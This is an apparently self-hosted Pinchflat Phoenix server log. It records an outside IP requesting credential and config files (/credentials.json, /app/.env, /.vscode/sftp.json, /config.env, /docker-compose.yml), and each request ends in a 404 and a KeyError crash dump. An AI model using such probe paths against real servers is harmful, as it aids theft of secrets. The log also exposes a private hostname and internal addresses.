resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfS0GasBGTr8ACMKB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21456.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/credentials.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52114}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21456.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/credentials.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52114}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21457.0>, params: %{}, path_info: ["credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/credentials.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfS0GasBGTr8ACMKB"} ], (truncated) 15:40:16.142 [info] GET /app/.env 15:40:16.143 [debug] QUERY OK source="settings" db=0.1ms idle=115.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:16.143 [debug] QUERY OK source="settings" db=0.0ms idle=115.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:16.143 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:16.143 [error] #PID<0.21459.0> running PinchflatWeb.Endpoint (connection #PID<0.21458.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /app/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21458.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52122}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21459.0>, params: %{}, path_info: ["app", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/app/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfS7PMClXkrMACMKh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21458.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52122}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21458.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52122}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21459.0>, params: %{}, path_info: ["app", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/app/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfS7PMClXkrMACMKh"} ], scheme: :http, script_name: [], secret_key_base: : (truncated) 15:40:16.250 [info] GET /.vscode/sftp.json 15:40:16.250 [debug] QUERY OK source="settings" db=0.1ms idle=208.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:16.250 [debug] QUERY OK source="settings" db=0.1ms idle=137.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:16.250 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:16.250 [error] #PID<0.21461.0> running PinchflatWeb.Endpoint (connection #PID<0.21460.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.vscode/sftp.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/sftp (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21460.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52126}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21461.0>, params: %{}, path_info: [".vscode", "sftp"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.vscode/sftp.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfTUwuqgtD7gACMLB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21460.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52126}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/sftp (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21460.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52126}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21461.0>, params: %{}, path_info: [".vscode", "sftp"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.vscode/sftp.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfTUwuqgtD7gACMLB"} (truncated) 15:40:16.255 [info] GET /config.env 15:40:16.255 [debug] QUERY OK source="settings" db=0.0ms idle=141.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:16.255 [debug] QUERY OK source="settings" db=0.0ms idle=112.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:16.255 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:16.256 [error] #PID<0.21463.0> running PinchflatWeb.Endpoint (connection #PID<0.21462.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /config.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21462.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52138}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21463.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/config.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfTWESjYn5u4ACMLh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21462.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52138}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21462.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52138}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21463.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/config.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfTWESjYn5u4ACMLh"} ], scheme: :http, script_name: [], secr (truncated) 15:40:16.355 [info] GET /docker-compose.yml 15:40:16.356 [debug] QUERY OK source="settings" db=0.1ms idle=212.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:16.356 [debug] QUERY OK source="settings" db=0.0ms idle=105.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:16.356 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:16.356 [error] #PID<0.21465.0> running PinchflatWeb.Endpoint (connection #PID<0.21464.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /docker-compose.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker-compose (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21464.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.yml", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52148}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21465.0>, params: %{}, path_info: ["docker-compose"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/docker-compose.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfTuA7BB_p7AACMMB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, 